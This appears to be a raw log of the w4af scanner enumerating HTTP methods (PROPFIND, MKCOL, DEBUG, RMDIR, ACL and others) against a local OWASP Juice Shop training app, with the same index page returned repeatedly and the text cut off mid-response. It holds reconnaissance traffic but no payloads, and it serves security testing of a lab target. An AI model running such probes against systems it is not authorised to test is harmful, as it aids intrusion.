b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
PROPFIND http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
GET http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
INVOKE http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
MKCOL http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
OPTIONS http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 204 No Content\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE\r\nVary: Access-Control-Request-Headers\r\nContent-Length: 0\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n' b''
DEBUG http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
RMDIR http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
ACL http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
UNCHECKOUT http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
POST http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
SEARCH http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, 